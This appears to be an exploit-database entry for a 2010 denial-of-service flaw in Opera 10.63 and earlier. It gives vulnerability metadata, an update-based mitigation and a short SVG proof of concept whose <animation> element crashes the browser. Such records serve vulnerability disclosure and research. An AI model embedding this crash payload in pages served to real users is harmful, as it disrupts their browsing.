header-logo
Suggest Exploit
vendor:
Opera
by:
fla
7,5
CVSS
HIGH
Denial of Service
20
CWE
Product Name: Opera
Affected Version From: 10.63
Affected Version To: Previous
Patch Exists: YES
Related CWE: N/A
CPE: opera
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 10.10 x64, Windows 7 x64
2010

Opera Denial of Service by SVG Element

This exploit causes a denial of service in Opera 10.63 and previous versions. It is triggered by an SVG element with an <animation> tag. The exploit code consists of an SVG element with an <animation> tag, which causes Opera to crash.

Mitigation:

Update to the latest version of Opera.
Source

Exploit-DB raw data:

# Exploit Title: Opera Denial of Service by SVG <animation> Element
# Date: 16, October 2010
# Author:  fla
# Software Link: http://www.opera.com/
# Version: 10.63 and previous
# Tested on: Ubuntu 10.10 x64, Windows 7 x64

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" >
<g id="animTest" ></g> 
<animation xlink:href="#animTest" />
</svg>